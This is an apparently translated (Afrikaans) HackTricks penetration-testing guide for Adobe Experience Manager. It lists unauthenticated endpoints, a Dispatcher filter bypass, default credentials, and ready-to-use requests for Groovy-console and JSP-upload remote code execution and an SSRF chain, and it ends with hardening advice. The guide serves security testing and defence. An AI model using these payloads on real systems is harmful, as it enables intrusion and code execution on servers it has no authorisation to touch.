# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} > Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop. > Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard akrediteer en 'n lang stert van CVE's bloot wat elke kwartaal reggestel word. Die kontrolelys hieronder fokus op **extern bereikbare (unauth) aanval oppervlak** wat voortdurend in werklike betrokkenhede verskyn (2022-2025). --- ## 1. Fingerprinting ``` $ curl -s -I https://target | egrep -i "aem|sling|cq" X-Content-Type-Options: nosniff X-Dispatcher: hu1 # header added by AEM Dispatcher X-Vary: Accept-Encoding ``` Ander vinnige aanwysers: * `/etc.clientlibs/` statiese pad teenwoordig (gee JS/CSS terug). * `/libs/granite/core/content/login.html` aanmeldblad met die “Adobe Experience Manager” banier. * `` kommentaar aan die onderkant van HTML. --- ## 2. Hoë-waarde nie-geoutentiseerde eindpunte Pad | Wat jy kry | Aantekeninge ---- | ------------- | ----- `/.json`, `/.1.json` | JCR knope via **DefaultGetServlet** | Dikwels geblokkeer, maar *Dispatcher omseiling* (sien hieronder) werk. `/bin/querybuilder.json?path=/` | QueryBuilder API | Lek van bladboom, interne pades, gebruikersname. `/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsole | 403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE. `/crx/packmgr/index.jsp` | Pakketbestuurder | Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai. `/etc/groovyconsole/**` | AEM Groovy Konsole | As blootgestel → arbitrêre Groovy / Java uitvoering. `/libs/cq/AuditlogSearchServlet.json` | Oudit logs | Inligtingsontsluiting. `/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS-vak. ### Dispatcher omseiling truuk Meeste produksie-webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg: ``` GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 ``` 'n Enkele versoek soos hierbo openbaar dikwels gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】 --- ## 3. Algemene miskonfigurasies (nog steeds lewendig in 2025) 1. **Anonieme POST servlet** – `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】 2. **Wêreldleesbare gebruikersprofiele** – standaard ACL verleen `jcr:read` op `/home/users/**/profile/*` aan almal. 3. **Standaard akrediteer** – `admin:admin`, `author:author`, `replication:replication`. 4. **WCMDebugFilter** geaktiveer ⇒ weerspieëlde XSS via `?debug=layout` (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies). 5. **Groovy Console blootgestel** – afstandkode-uitvoering deur 'n Groovy-skrip te stuur: ```bash curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json ``` --- ## 4. Onlangse kwesbaarhede (dienspakket kadens) Kwartaal | CVE | Aangetas | Impak ------- | --- | -------- | ------ Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akker). 【】 Des 2024 | CVE-2024-43724/26 | 6.5.21 en vroeër | DOM / Gestoor XSS in Move Page Wizard. 【】 Des 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-gebaseerde XSS via vervaardigde URL. 【】 Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Crypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】 Kontroleer altyd die *APSB* bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste **6.5.22** of *Cloud Service 2024.11*. --- ## 5. Exploitasiestukke ### 5.1 RCE via dispatcher omseiling + JSP opgelaai As anonieme skryf moontlik is: ``` # 1. Create a node that will become /content/evil.jsp POST /content/evil.jsp;%0aa.css HTTP/1.1 Content-Type: application/x-www-form-urlencoded :contentType=text/plain jcr:data=<% out.println("pwned"); %> :operation=import ``` Now request `/content/evil.jsp` – die JSP loop met die AEM proses gebruiker. ### 5.2 SSRF na RCE (histories < 6.3) `/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` `aem_ssrf2rce.py` van **aem-hacker** outomatiseer die volle ketting. 【】 --- ## 6. Gereedskap * **aem-hacker** – Switserse leër enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer. ```bash python3 aem_hacker.py -u https://target --host attacker-ip ```【】 * **Inhoud Brute-force** – herhalend versoek `/_jcr_content.(json|html)` om verborge komponente te ontdek. * **osgi-infect** – laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is. --- ## 7. Versterking kontrolelys (vir jou verslag se aanbevelings) 1. Hou die instansie op die **nuutste kumulatiewe dienspakket** (soos van Jul 2025: 6.5.22). 2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML. 3. Versterk **Dispatcher filters** – weier `;`, geënkodeerde nuwe reëls, en `*.json` of `*.querybuilder.json` vir anonieme gebruikers. 4. Deaktiveer of beskerm consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) met IP toelaat-lists. 5. Pas die *Anonieme Toestemming Versterking* pakket toe wat deur Adobe gestuur is. ## Verwysings * Adobe Security Bulletin APSB24-69 – “Veiligheidsopdaterings vir Adobe Experience Manager (Des 2024)”. * 0ang3el – aem-hacker hulpmiddel (GitHub). {{#include ../../banners/hacktricks-training.md}}